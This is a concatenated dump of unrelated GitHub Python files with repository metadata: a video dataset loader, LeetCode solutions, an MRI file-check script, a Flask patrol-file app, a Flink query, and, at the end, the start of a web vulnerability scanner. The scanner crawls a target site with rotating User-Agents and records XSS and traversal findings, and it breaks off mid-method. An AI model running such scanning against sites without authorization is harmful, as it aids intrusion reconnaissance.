","repo_name":"WilliamHirst/MasterThesis","sub_path":"Codebase/DataAnalysis/Plot_stuff/NNC.py","file_name":"NNC.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22583302785","text":"import os\nimport random\nimport torch\nimport torch.utils.data\nfrom fvcore.common.file_io import PathManager\n\nimport slowfast.utils.logging as logging\n\nfrom . import decoder as decoder\nfrom . import transform as transform\nfrom . import utils as utils\nfrom . import video_container as container\nfrom .build import DATASET_REGISTRY\nfrom PIL import Image\nimport torchvision.transforms as transforms\nimport numpy as np\nfrom . import sampling\nlogger = logging.get_logger(__name__)\n\n\n@DATASET_REGISTRY.register()\nclass Meccano(torch.utils.data.Dataset):\n \"\"\"\n MECCANO video loader. Construct the MECCANO video loader, then sample\n clips from the videos. For training and validation, a single clip is\n randomly sampled from every video with random cropping, scaling, and\n flipping. For testing, multiple clips are uniformaly sampled from every\n video with uniform cropping. For uniform cropping, we take the left, center,\n and right crop if the width is larger than height, or take top, center, and\n bottom crop if the height is larger than the width.\n \"\"\"\n\n def __init__(self, cfg, mode, num_retries=10):\n \"\"\"\n Construct the MECCANO images loader with a given csv file. The format of \n the csv file is:\n '''\n video_id_1, action_id_1, action_name_1, frame_start_1, frame_end_1\n video_id_2, action_id_2, action_name_2, frame_start_2, frame_end_2\n ...\n video_id_N, action_id_N, action_name_N, frame_start_N, frame_end_N\n '''\n Args:\n cfg (CfgNode): configs.\n mode (string): Options includes `train`, `val`, or `test` mode.\n For the train and val mode, the data loader will take data\n from the train or val set, and sample one clip per video.\n For the test mode, the data loader will take data from test set,\n and sample multiple clips per video.\n num_retries (int): number of retries.\n \"\"\"\n # Only support train, val, and test mode.\n assert mode in [\n \"train\",\n \"val\",\n \"test\",\n ], \"Split '{}' not supported for MECCANO\".format(mode)\n self.mode = mode\n self.cfg = cfg\n\n self._video_meta = {}\n self._num_retries = num_retries\n # For training or validation mode, one single clip is sampled from every\n # video. For testing, NUM_ENSEMBLE_VIEWS clips are sampled from every\n # video. For every clip, NUM_SPATIAL_CROPS is cropped spatially from\n # the frames.\n if self.mode in [\"train\", \"val\"]:\n self._num_clips = 1\n elif self.mode in [\"test\"]:\n self._num_clips = (\n cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS\n )\n\n logger.info(\"Constructing MECCANO {}...\".format(mode))\n self._construct_loader()\n\n def _construct_loader(self):\n \"\"\"\n Construct the data loader.\n \"\"\"\n path_to_file = os.path.join(\n self.cfg.DATA.PATH_TO_DATA_DIR, \"{}.csv\".format(self.mode)\n )\n #print(\"path_to_file:\", path_to_file)\n assert PathManager.exists(path_to_file), \"{} dir not found\".format(\n path_to_file\n )\n\n self._path_to_videos = []\n self._labels = []\n self._spatial_temporal_idx = []\n self._frame_start = []\n self._frame_end = []\n with PathManager.open(path_to_file, \"r\") as f:\n #print(\"splitlines\", f.read().splitlines())\n for clip_idx, path_label in enumerate(f.read().splitlines()):\n #print(\"clip_idx:\", clip_idx)\n #print(\"path_label:\", path_label)\n assert len(path_label.split(',')) == 5\n video_path, action_label, action_noun, frame_start, frame_end = path_label.split(',')\n for idx in range(self._num_clips):\n self._path_to_videos.append(\n os.path.join(self.cfg.DATA.PATH_PREFIX, video_path)\n )\n self._frame_start.append(frame_start)\n self._frame_end.append(frame_end)\n self._labels.append(int(action_label))\n self._spatial_temporal_idx.append(idx)\n self._video_meta[clip_idx * self._num_clips + idx] = {}\n assert (\n len(self._path_to_videos) > 0\n ), \"Failed to load MECCANO split {} from {}\"+path_to_file\n logger.info(\n \"Constructing MECCANO dataloader (size: {}) from {}\".format(\n len(self._path_to_videos), path_to_file\n )\n )\n\n def __getitem__(self, index):\n \"\"\"\n Given the video index, return the list of frames, label, and video\n index.\n Args:\n index (int): the video index provided by the pytorch sampler.\n Returns:\n frames (tensor): the frames of sampled from the video. The dimension\n is `channel` x `num frames` x `height` x `width`.\n label (int): the label of the current video.\n index (int): if the video provided by pytorch sampler.\n \"\"\"\n if self.mode in [\"train\", \"val\"]:\n # -1 indicates random sampling.\n temporal_sample_index = -1\n spatial_sample_index = -1\n min_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[0]\n max_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[1]\n crop_size = self.cfg.DATA.TRAIN_CROP_SIZE\n elif self.mode in [\"test\"]:\n temporal_sample_index = (\n self._spatial_temporal_idx[index]\n // self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n # spatial_sample_index is in [0, 1, 2]. Corresponding to left,\n # center, or right if width is larger than height, and top, middle,\n # or bottom if height is larger than width.\n spatial_sample_index = (\n self._spatial_temporal_idx[index]\n % self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n min_scale, max_scale, crop_size = [self.cfg.DATA.TEST_CROP_SIZE] * 3\n # The testing is deterministic and no jitter should be performed.\n # min_scale, max_scale, and crop_size are expect to be the same.\n assert len({min_scale, max_scale, crop_size}) == 1\n else:\n raise NotImplementedError(\n \"Does not support {} mode\".format(self.mode)\n )\n\n # Recover frames\n frames = []\n frame_count = int(self._frame_start[index][:-4]) #to obtain the number of the frame\n while(frame_count <= int(self._frame_end[index][:-4])):\n #rebuild original filename\n name_frame = str(frame_count)\n if(len(name_frame) == 4): #add a prefix 0\n name_frame = \"0\"+name_frame\n elif(len(name_frame) == 3): #add two prefix 0\n name_frame = \"00\"+name_frame\n elif(len(name_frame) == 2): #add three prefix 0\n name_frame = \"000\"+name_frame\n elif(len(name_frame) == 1): #add four prefix 0\n name_frame = \"0000\"+name_frame\n image = Image.open(self.cfg.DATA.PATH_TO_DATA_DIR+\"frames/\"+self._path_to_videos[index]+\"/\"+name_frame+\".jpg\")\n image = np.asarray(image)\n frames.append(torch.from_numpy(image))\n frame_count+=1\n frames= torch.stack(frames)\n #sampling frames\n frames = sampling.temporal_sampling(frames, int(self._frame_start[index][:-4]), int(self._frame_end[index][:-4]), self.cfg.DATA.NUM_FRAMES)\n\n # Perform color normalization.\n frames = frames / 255.0\n frames = frames - torch.tensor(self.cfg.DATA.MEAN)\n frames = frames / torch.tensor(self.cfg.DATA.STD)\n # T H W C -> C T H W.\n frames = frames.permute(3, 0, 1, 2)\n\n # Perform data augmentation.\n frames = self.spatial_sampling(\n frames,\n spatial_idx=spatial_sample_index,\n min_scale=min_scale,\n max_scale=max_scale,\n crop_size=crop_size,\n random_horizontal_flip=self.cfg.DATA.RANDOM_FLIP,\n )\n label = self._labels[index]\n frames = utils.pack_pathway_output(self.cfg, frames)\n return frames, label, index, {}\n\n def __len__(self):\n \"\"\"\n Returns:\n (int): the number of videos in the dataset.\n \"\"\"\n return len(self._path_to_videos)\n\n def spatial_sampling(\n self,\n frames,\n spatial_idx=-1,\n min_scale=256,\n max_scale=320,\n crop_size=224,\n random_horizontal_flip=True,\n ):\n \"\"\"\n Perform spatial sampling on the given video frames. If spatial_idx is\n -1, perform random scale, random crop, and random flip on the given\n frames. If spatial_idx is 0, 1, or 2, perform spatial uniform sampling\n with the given spatial_idx.\n Args:\n frames (tensor): frames of images sampled from the video. The\n dimension is `num frames` x `height` x `width` x `channel`.\n spatial_idx (int): if -1, perform random spatial sampling. If 0, 1,\n or 2, perform left, center, right crop if width is larger than\n height, and perform top, center, buttom crop if height is larger\n than width.\n min_scale (int): the minimal size of scaling.\n max_scale (int): the maximal size of scaling.\n crop_size (int): the size of height and width used to crop the\n frames.\n Returns:\n frames (tensor): spatially sampled frames.\n \"\"\"\n assert spatial_idx in [-1, 0, 1, 2]\n if spatial_idx == -1:\n frames, _ = transform.random_short_side_scale_jitter(\n images=frames,\n min_size=min_scale,\n max_size=max_scale,\n inverse_uniform_sampling=self.cfg.DATA.INV_UNIFORM_SAMPLE,\n )\n frames, _ = transform.random_crop(frames, crop_size)\n if random_horizontal_flip:\n frames, _ = transform.horizontal_flip(0.5, frames)\n else:\n # The testing is deterministic and no jitter should be performed.\n # min_scale, max_scale, and crop_size are expect to be the same.\n assert len({min_scale, max_scale, crop_size}) == 1\n frames, _ = transform.random_short_side_scale_jitter(\n frames, min_scale, max_scale\n )\n frames, _ = transform.uniform_crop(frames, crop_size, spatial_idx)\n return frames\n","repo_name":"fpv-iplab/MECCANO","sub_path":"PySlowFast_files/datasets/meccano.py","file_name":"meccano.py","file_ext":"py","file_size_in_byte":10708,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"82"} +{"seq_id":"21865465434","text":"\"\"\"\nGiven a node from a Circular Linked List which is sorted in ascending order, write a function to insert\na value insertVal into the list such that it remains a sorted circular list. The given node can be a reference to\nany single node in the list, and may not be necessarily the smallest value in the circular list.\n\nIf there are multiple suitable places for insertion, you may choose any place to insert the new value.\nAfter the insertion, the circular list should remain sorted.\n\nIf the list is empty (i.e., given node is null), you should create a new single circular list and return\nthe reference to that single node. Otherwise, you should return the original given node.\n\nExample 1:\nInput: head = [3,4,1], insertVal = 2\nOutput: [3,4,1,2]\nExplanation: In the figure above, there is a sorted circular list of three elements. You are given a reference to\nthe node with value 3, and we need to insert 2 into the list. The new node should be inserted between node 1 and node 3.\n After the insertion, the list should look like this, and we should still return node 3.\n\nExample 2:\nInput: head = [], insertVal = 1\nOutput: [1]\nExplanation: The list is empty (given head is null).\n We create a new single circular list and return the reference to that single node.\n\nExample 3:\nInput: head = [1], insertVal = 0\nOutput: [1,0]\n\nConstraints:\n0 <= Number of Nodes <= 5 * 10^4\n-10^6 <= Node.val <= 10^6\n-10^6 <= insertVal <= 10^6\n\"\"\"\nfrom tools.linked_list import ListNode as Node, make_circulated_linked_list, traverse\n\n\nclass Solution:\n \"\"\"\n Bruteforce solution - collect and sort values in cycled list, then sort to keep the order, then rebuild the list.\n\n Runtime: 32 ms, faster than 89.87% of Python3\n Memory Usage: 15 MB, less than 16.77% of Python3\n\n Time complexity: O(NlogN) because of sorting collected values\n Space complexity: O(n)\n \"\"\"\n\n def insert(self, head: 'Node', insertVal: int) -> 'Node':\n node = head\n seen = dict()\n while node is not None and not (node in seen):\n seen[node] = node.val\n node = node.next\n\n new_node = Node(insertVal)\n seen[new_node] = insertVal\n if head is None:\n head = new_node\n\n sorted_nodes = sorted(seen, key=lambda k: seen[k])\n\n for i in range(len(sorted_nodes)):\n if i == len(sorted_nodes) - 1:\n sorted_nodes[i].next = sorted_nodes[0]\n else:\n sorted_nodes[i].next = sorted_nodes[i + 1]\n return head\n\n\nclass Solution2:\n \"\"\"\n Algorithm idea: having list sorted we can be sure while traversing list we returned back to the head\n if the head value lower than its previous node value. Basically during this traversing we only need\n to find suitable place to insert new node, so we check in following priority:\n 1. If target node fits between to neighbour, so that prev node smaller and next node has greater val than insertVal\n 2. If we have insertVal lower than head (smallest value in list) or greater than tail (greatest value in list) we\n just put new node between tail and head.\n 3. Finally, if all values in the list are the same, we can also just put new node between tail and head.\n\n Runtime: 36 ms, faster than 70.30% of Python3\n Memory Usage: 15 MB, less than 17.54% of Python3\n\n Time complexity: O(n) we need to traverse entire list at worst case\n Space complexity: O(1)\n \"\"\"\n\n def insert(self, head: 'Node', insertVal: int) -> 'Node':\n if not head:\n head = Node(insertVal)\n head.next = head\n return head\n\n curr = head\n\n while True:\n # found place to insert, e.g. 9 between 8 and 10\n if curr.val <= insertVal <= curr.next.val:\n break\n\n # last element\n if curr.val > curr.next.val:\n # greater than tail (max num)\n if curr.val <= insertVal >= curr.next.val:\n break\n # lower than head (min num)\n elif curr.val >= insertVal <= curr.next.val:\n break\n\n # all elements are equal\n if curr.next == head:\n break\n curr = curr.next\n\n new_node = Node(insertVal)\n next_node = curr.next\n curr.next = new_node\n new_node.next = next_node\n return head\n\n\nif __name__ == '__main__':\n def get_tc():\n return [\n ([3, 4, 1], 2, [3, 4, 1, 2]),\n ([], 1, [1]),\n ([1], 0, [1, 0]),\n ([1, 3, 5], 2, [1, 2, 3, 5]),\n ([3, 3, 3], 0, [3, 3, 3, 0]),\n ([1, 3, 5], 1, [1, 1, 3, 5]),\n ]\n\n\n solutions = [Solution(), Solution2()]\n\n for s in solutions:\n for inp_list, insert_val, output_list in get_tc():\n input_ll = make_circulated_linked_list(inp_list)\n result = s.insert(input_ll, insert_val)\n assert traverse(result) == output_list\n","repo_name":"niki4/leetcode_py3","sub_path":"medium/708_insert_into_a_sorted_circular_linked_list.py","file_name":"708_insert_into_a_sorted_circular_linked_list.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14492412160","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n\nimport os\n\nbase_dir = '/home/soopil/Desktop/Dataset/EWHA_brain_tumor'\n\nfile_list = os.listdir('.')\nprint(file_list)\n#nifti_list = os.listdir('EWHA\\\\meningioma')\n#nifti_list = os.listdir('EWHA\\\\n4itk_medial')\nnifti_list = os.listdir('EWHA\\\\Preprocessing_finished_meningioma')\ncsv_list = os.listdir('EWHA\\\\CSV')\nmask_list = os.listdir('EWHA\\\\MASKS')\n#print(nifti_list)\n#print(csv_list)\n#print(mask_list)\nprint(len(csv_list), len(mask_list), len(nifti_list))\n\n#assert False\n\ncsv_T1, csv_T2, new_mask, nifti_T1, nifti_T2, nifti_T2_REG = [],[],[],[],[],[]\nfor csv in sorted(csv_list):\n subj = csv.split('_')[0]\n if 'T1' in csv:\n assert subj not in csv_T1\n csv_T1.append(subj)\n \n if 'T2' in csv:\n assert subj not in csv_T2\n csv_T2.append(subj)\n\n#print(len(csv_T1))\n#print(len(csv_T2))\n#assert False\n\nfor mask in sorted(mask_list):\n if mask == '10630810_SEP_T2-label.nrrd':\n # T1, T2 label both exist\n continue\n subj = mask.split('_')[0]\n# print(mask, subj)\n assert subj not in new_mask\n new_mask.append(subj)\n# print(subj)\n\nfor nifti in sorted(nifti_list):\n subj = nifti.split('_')[0]\n print(nifti,subj)\n if 'label' in nifti:\n print('label file : ' , nifti)\n continue\n \n if 'T1' in nifti:\n assert subj not in nifti_T1\n nifti_T1.append(subj)\n continue\n \n if 'REG' in nifti:\n assert subj not in nifti_T2_REG\n nifti_T2_REG.append(subj)\n continue\n \n if 'T2' in nifti and 'REG' not in nifti:\n assert subj not in nifti_T2\n nifti_T2.append(subj)\n continue\n \n \n \nprint(len(csv_T1))\nprint(len(csv_T2))\nprint(len(set(csv_T1) & set(csv_T2)))\nprint('T1 and T2 CSV same ? : ', set(csv_T1) == set(csv_T2))\nprint('T1 - T2 : ',set(csv_T1) - set(csv_T2))\nprint('T2 - T1 : ',set(csv_T2) - set(csv_T1))\n\nprint(new_mask, len(new_mask))\n\nprint(len(nifti_T1), len(nifti_T2), len(nifti_T2_REG))\nprint('T1 and T2 NIFTI same ? : ', set(nifti_T1) == set(nifti_T2))\nprint(len(set(nifti_T1) & set(nifti_T2)))\nprint('T1 - T2 : ',set(nifti_T1) - set(nifti_T2))\nprint('T2 - T1 : ',set(nifti_T2) - set(nifti_T1))\n\ncomplete_set = set(csv_T1)&set(csv_T2)&set(new_mask)&set(nifti_T1)&set(nifti_T2)&set(nifti_T2_REG)\nprint('<< complete set >> \\n ',len(complete_set), complete_set)\n\ndef sub_set(a,b):\n return set(a) - set(b)\n\nprint(sub_set(csv_T1, complete_set))\nprint(sub_set(csv_T2, complete_set))\nprint(sub_set(new_mask, complete_set))\nprint(sub_set(nifti_T1, complete_set))\nprint(sub_set(nifti_T2, complete_set))\nprint(sub_set(nifti_T2_REG, complete_set))\n#print(len(set(csv_T1)&set(csv_T2)&set(new_mask)&set(nifti_T1)&set(nifti_T2)))\nassert False\n\nT1_absent, T2_absent = [], []\nfor mask in sorted(mask_list):\n# print(csv)\n T1, T2 = False, False\n subj = mask.split('_')[0]\n \n for csv in sorted(csv_list):\n if subj in csv:\n# print(subj, csv)\n if 'T1' in csv:\n assert not T1\n T1 = True\n elif 'T2' in csv:\n assert not T2\n T2 = True\n \n if not T1:\n T1_absent.append(subj)\n if not T2:\n T2_absent.append(subj)\n# assert False\n\nprint('<< csv file check >>')\nprint('T1 absent subject : ', T1_absent)\nprint('T2 absent subject : ', T2_absent)\n\nT1_absent, T2_absent = [], []\n\nfor mask in sorted(mask_list):\n# print(csv)\n T1, T2 = False, False\n subj = mask.split('_')[0]\n \n for nifti in sorted(nifti_list):\n if subj in nifti:\n# print(subj, nifti)\n if 'T1' in nifti:\n assert not T1\n T1 = True\n elif 'T2' in nifti:\n assert not T2\n T2 = True\n \n if not T1:\n T1_absent.append(subj)\n if not T2:\n T2_absent.append(subj)\n\nprint('<< nifti file check >>')\nprint('T1 absent subject : ', T1_absent)\nprint('T2 absent subject : ', T2_absent)\n\n","repo_name":"oopil/Ewha_brainMRI","sub_path":"file_check/EWHA.py","file_name":"EWHA.py","file_ext":"py","file_size_in_byte":4037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74081678989","text":"\"\"\"\nRuntime: 32 ms, faster than 99.21% of Python3 online submissions for Longest Increasing Subsequence.\nMemory Usage: 13.2 MB, less than 78.07% of Python3 online submissions for Longest Increasing Subsequence.\n\"\"\"\nimport bisect # import the python binary search package\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n if not nums:\n return 0\n\n seq = [nums[0]] # the longest increasubg subsequence\n\n for n in nums[1:]:\n if n > seq[-1]: # largest number so far\n seq.append(n)\n else:\n idx = bisect.bisect_left(seq , n)\n seq[idx] = n # replace the current number with a smaller one\n\n return len(seq)\n","repo_name":"bigfatmouse9208/Algo_Study_Group","sub_path":"Week2_Binary_Search/leetcode300.py","file_name":"leetcode300.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3165018614","text":"import os\nimport io\nimport csv\nimport time\nimport json\nimport timeago\nfrom datetime import datetime\n\nfrom flask import Flask, flash, request, redirect, url_for, send_from_directory, render_template, Response\nfrom werkzeug.utils import secure_filename\n\nDATE_TIME_FORMAT = '%Y-%m-%d %H:%M:%S.%f'\nPATS_JOUR_FILENAME = 'data/pats_jour.json'\nPATS_REF_FILNAME = 'data/pats_ref.json'\n\napp = Flask(__name__)\napp.secret_key = \"jhasfdiuwaertyiujdksa\"\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n\tif request.method == 'POST':\n\t\treturn process_upload()\n\n\tpats_jour = read_pats_jour()\n\tpats_ref = read_pats_ref()\n\n\treturn render_template( 'index.html',\n\t pats_jour = format_patrols( pats_jour ),\n\t pats_ref = format_patrols( pats_ref ) )\n\n@app.route('/patrol/')\ndef patrol(patName):\n\tpatrols = {}\n\tif patName.endswith( 'M' ):\n\t\tpatrols = read_pats_jour()\n\telse:\n\t\tpatrols = read_pats_ref()\n\n\tfor p in patrols['patrols']:\n\t\tif p['patName'] == patName:\n\t\t\tpatrol = p\n\t\t\tpatrols['last_updated'] = patrols['last_updated']\n\t\t\trequest_meta = { 'Content-Type': 'application/xml', 'Content-Disposition': \"attachment;filename=\\\"%s.FPL\\\"\" % patName }\n\t\t\treturn render_template( 'patrol.html', patrol = patrol ), 200, request_meta\n\n\tflash( \"Error! Patrol %s does not exist\" % patName, 'danger' )\n\treturn redirect('/')\n\ndef read_pats_jour():\n\tpats_jour = {}\n\tif os.path.isfile( PATS_JOUR_FILENAME ):\n\t\twith open(PATS_JOUR_FILENAME, 'r') as f:\n\t\t\tpats_jour = json.load(f)\n\treturn pats_jour\n\ndef read_pats_ref():\n\tpats_ref = {}\n\tif os.path.isfile( PATS_REF_FILNAME ):\n\t\twith open(PATS_REF_FILNAME, 'r') as f:\n\t\t\tpats_ref = json.load(f)\n\treturn pats_ref\n\ndef process_upload():\n\t# check if the post request has the file part\n\tif 'file' not in request.files:\n\t\tflash( 'No file part', 'danger' )\n\t\treturn redirect(request.url)\n\n\tfile = request.files['file']\n\n\t# if user does not select file, browser also submit an empty part without filename\n\tif file.filename == '':\n\t\tflash('No selected file', 'danger')\n\t\treturn redirect(request.url)\n\n\t# if user uploads an illegal file name, reject\n\tif not allowed_file(file):\n\t\tflash('Uploaded file is not a patrols file (PATRJOUR.TXT / PATSORG.TXT) or a fires file (FEUX.DAT). Please upload a valid file.', 'danger')\n\t\tapp.logger.warning('There was an attempt to upload an invalid file with name %s' % file.filename )\n\t\treturn redirect(request.url)\n\n\t# process file\n\tfile_io = io.StringIO(file.stream.read().decode(\"UTF8\"), newline=\"\\n\")\n\tif is_patrols_file(file):\n\t\tpatrols = parse_patrol_file( file_io, file.filename )\n\n\t\twith open( pats_json_filename(file.filename), 'w') as f:\n\t\t\tjson.dump(patrols, f, default = json_converter)\n\n\t\tflash( 'Successfully processed file %s' % file.filename, 'success' )\n\n\t\t#html_out = generate_html_file( patrols )\n\t\t#return json.dumps(patrols, default = json_converter)\n\t\t#return render_template( 'index.html', patrols = format_patrols( patrols ) )\n\t\treturn redirect(request.url)\n\telif is_fires_file(file):\n\t\tflash( 'Feature not implemented yet!', 'warning' )\n\t\treturn redirect(request.url)\n\telse:\n\t\tflash( 'Unexpected condition on file name %s' % file.filename, 'danger' )\n\t\treturn redirect(request.url)\n\ndef pats_json_filename(filename):\n\tif filename == 'PATSJOUR.TXT':\n\t\treturn PATS_JOUR_FILENAME\n\telif filename == 'PATSORG.TXT':\n\t\treturn PATS_REF_FILNAME\n\telse:\n\t\traise Exception(\"Unexpcted file name \" % filename)\n\ndef format_patrols( patrols ):\n\tif not patrols:\n\t\treturn patrols\n\n\tpatrols['last_updated_ago'] = timeago.format( datetime.strptime( patrols['last_updated'], DATE_TIME_FORMAT ), datetime.now(), 'fr' )\n\tfor patrol in patrols['patrols']:\n\t\tpatCoordinates = \"\"\n\t\tfor wayPoint in patrol['patWayPoints']:\n\t\t\tpatCoordinates += f\"{wayPoint[0]}/{wayPoint[1]} \"\n\t\tpatrol['patCoordinates'] = patCoordinates\n\treturn patrols\n\ndef parse_patrol_file(inFile, patrol_file_name):\n\n\tapp.logger.info( f\"Parsing file {patrol_file_name}\" )\n\tstartTime = datetime.now()\n\n\tfileReader = csv.reader(inFile)\n\n\tpat_name_suffix = ''\n\tif ( patrol_file_name == \"PATSJOUR.TXT\" ) :\n\t\tpat_name_suffix = 'M'\n\n\tpatCount=0\n\tpatrols = []\n\tfor row in fileReader:\n\t\t# Sleep to prevent throttling errors.\n\t\ttime.sleep(.025)\n\n\t\t#print(row)\n\n\t\tpatrolRaw = row\n\t\tpatName = patrolRaw[0] + pat_name_suffix\n\t\tpatSize = ( len(patrolRaw) - 1 ) // 2\n\t\tpatWayPoints = parse_patrol(patName, patSize, patrolRaw)\n\n\t\tpatrols.append( { 'patName' : patName, 'patSize': patSize, 'patWayPoints': patWayPoints } )\n\n\t\tpatCount += 1\n\n\t# Calculate the amount of time the script ran.\n\tduration = datetime.now() - startTime\n\n\tapp.logger.info( f\"Processed {(patCount - 1)} patrols in {duration}\" )\n\n\treturn { 'last_updated': datetime.now(), 'patrols': patrols }\n\ndef parse_patrol(patName, patSize, patrol):\n\tapp.logger.debug( f\"Parsing Patrol {patName} ({patSize} Waypoints)\" )\n\n\tp = 1\n\twayPoints = []\n\twhile p < patSize * 2:\n\t\twpLat = patrol[p]\n\t\twpLong = patrol[p+1]\n\t\twayPoint = [wpLat,wpLong]\n\t\twayPoints.append( wayPoint )\n\t\tp += 2\n\n\t# Add first wayPoint to end of patrol\n\twayPoints.append( wayPoints[0] )\n\n\treturn wayPoints\n\ndef json_converter(o):\n\tif isinstance(o, datetime):\n\t\treturn o.strftime( DATE_TIME_FORMAT )\n \ndef is_patrols_file(file):\n\treturn file.filename in { 'PATSJOUR.TXT', 'PATSORG.TXT' }\n\ndef is_fires_file(file):\n\treturn file.filename in { 'FEUX.DAT' }\n\ndef allowed_file(file):\n\treturn is_patrols_file(file) or is_fires_file(file)\n\nif __name__ == '__main__':\n\tapp.run( debug = True, host= '0.0.0.0' )\n","repo_name":"rhanna/sopfeu-tools","sub_path":"USB-FPL-Gen-Flask/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20916702522","text":"'''\nleetcode : 271. Encode and Decode Strings\nDesign an algorithm to encode a list of strings to a string. \nThe encoded string is then sent over the network and is decoded back to the original list of strings.\n\n'''\n\nclass Solution:\n \n def encode(self,strs):\n res = \"\"\n for i in strs:\n # chr(35) represent '#' symbol\n res += str(len(i)) + chr(35) + i\n return res\n \n def decode(self,Str):\n res,p1 = [],0\n while p1 < len(Str):\n p2 = p1\n # chr(35) represent '#' symbol\n while Str[p2] != chr(35):\n p2+=1\n l = int(Str[p1:p2])\n res.append(Str[p2+1 : p2+1+l])\n p1 = p2+l+1\n return res\n \n def CheckValid(self,input,decoded):\n if input == decoded:\n return True\n else:\n return False\n\nX = Solution()\nstrs = [\"lint\",\"code\",\"love\",\"you\"]\nencoded = X.encode(strs)\ndecoded = X.decode(encoded)\n\nprint(X.CheckValid(strs,decoded))\n\n\n\n","repo_name":"riyazahamad03/Data_Structures_and_algorithm","sub_path":"Strings/leetcode271.py","file_name":"leetcode271.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"16587930226","text":"from engineering import DataStreamFactory\nfrom pyflink.common.typeinfo import Types\nfrom pyflink.common import Time, WatermarkStrategy\n\nfrom pyflink.common import Row\nfrom pyflink.datastream.window import TumblingEventTimeWindows\nfrom engineering import SinkFactory\n\nfrom queries.utils.MyTimestampAssigner import MyTimestampAssigner\n\nfrom pyflink.common.typeinfo import Types\n\nfrom queries.utils.Query_2_Utils import MyProcessWindowFunction, FinalMapFunction, RankingFunction, VariationReduceFunction\nfrom queries.utils.MetricsTaker import MetricsTaker\nimport json\n\n\ndef query(evaluate = False) :\n \n (dataStream, env) = DataStreamFactory.getDataStream() ## (ID, SecType, Last, Timestamp)\n\n if (evaluate) :\n env.get_config().set_latency_tracking_interval(10)\n\n partialStream = dataStream.assign_timestamps_and_watermarks(\n WatermarkStrategy.for_monotonous_timestamps(\n ).with_timestamp_assigner(\n MyTimestampAssigner()\n )\n ).map( ## (ID, Time_1, Last_1, Time_2, Last_2)\n lambda x : (x[0], x[3], x[2], x[3], x[2])\n ).key_by(\n lambda x : x[0]\n )\n\n\n windowList = {\n \"Query_2_Min\" : Time.minutes(30),\n \"Query_2_Hour\" : Time.hours(1),\n \"Query_2_Day\" : Time.days(1)\n }\n \n for key, timeDuration in windowList.items() :\n tumblingWindow = TumblingEventTimeWindows.of(timeDuration)\n\n partialStream.window(\n tumblingWindow\n ).reduce( \n VariationReduceFunction(), ## (ID, minTime, minLast, maxTime, maxLast)\n MyProcessWindowFunction() ## (windowStart, ID, minTime, minLast, maxTime, maxLast)\n ).filter(\n lambda x : (x[2] != x[4]) or (x[2] == x[4] and x[3] != x[5])\n ).map( ## (windowStart, ID, variation)\n lambda x : (x[0], x[1], x[5] - x[3])\n ).window_all(\n tumblingWindow\n ).aggregate( ## (windowStart, sortedListOf((variation, ID)))\n RankingFunction()\n ).map( ## (windowStart, ID_i, Variation_i)\n FinalMapFunction()\n ).map( ## Convertion for kafka save\n lambda x : json.dumps(x) ,\n output_type = Types.STRING()\n ).map(\n func = MetricsTaker() ,\n output_type = Types.STRING()\n ).name(\n key + \"_Metrics\"\n ).sink_to(\n SinkFactory.getKafkaSink(key)\n )\n\n if (evaluate) :\n env.execute_async(key)\n \n if (not evaluate) :\n env.execute(\"Query_2\")\n\n return\n\n","repo_name":"SimoneNicosanti/SABD_Project_2","sub_path":"flink_processor/src/queries/Query_2.py","file_name":"Query_2.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9089942504","text":"import requests\nimport re\nimport urllib.parse as urlparse\nfrom bs4 import BeautifulSoup\nimport random\n\nUSER_AGENTS = [\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15; rv:70.0) Gecko/20100101 Firefox/70.0\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\",\n]\n\nclass Scanner:\n def __init__(self, url, ignore_links) -> None:\n self.session = requests.Session()\n self.set_user_agent()\n self.target_url = url \n self.target_links = []\n self.ignore_links = ignore_links\n self.reports = {\n 'target': \"\",\n 'directory' :{\n 'crawl' : [],\n 'traversal' :[]\n },\n 'xss': [\n {\n 'url': \"\",\n 'form': \"\",\n 'payload' : \"\"\n }\n ]\n }\n \n def set_user_agent(self):\n self.session.headers.update({\n \"User-Agent\": random.choice(USER_AGENTS)\n })\n\n def extract_links_from(self, url):\n response = self.session.get(url)\n return re.findall('(?:href=\")(.*?)\"', response.text)\n\n def crawl(self, url=None):\n if url == None:\n url = self.target_url\n\n href_links = self.extract_links_from(url)\n for link in href_links:\n parsed_link = urlparse.urljoin(url, link)\n\n if \"#\" in parsed_link:\n parsed_link = parsed_link.split('#')[0]\n\n if self.target_url in parsed_link and parsed_link not in self.target_links and parsed_link not in self.ignore_links:\n self.target_links.append(parsed_link)\n print(parsed_link)\n self.crawl(parsed_link)\n\n def 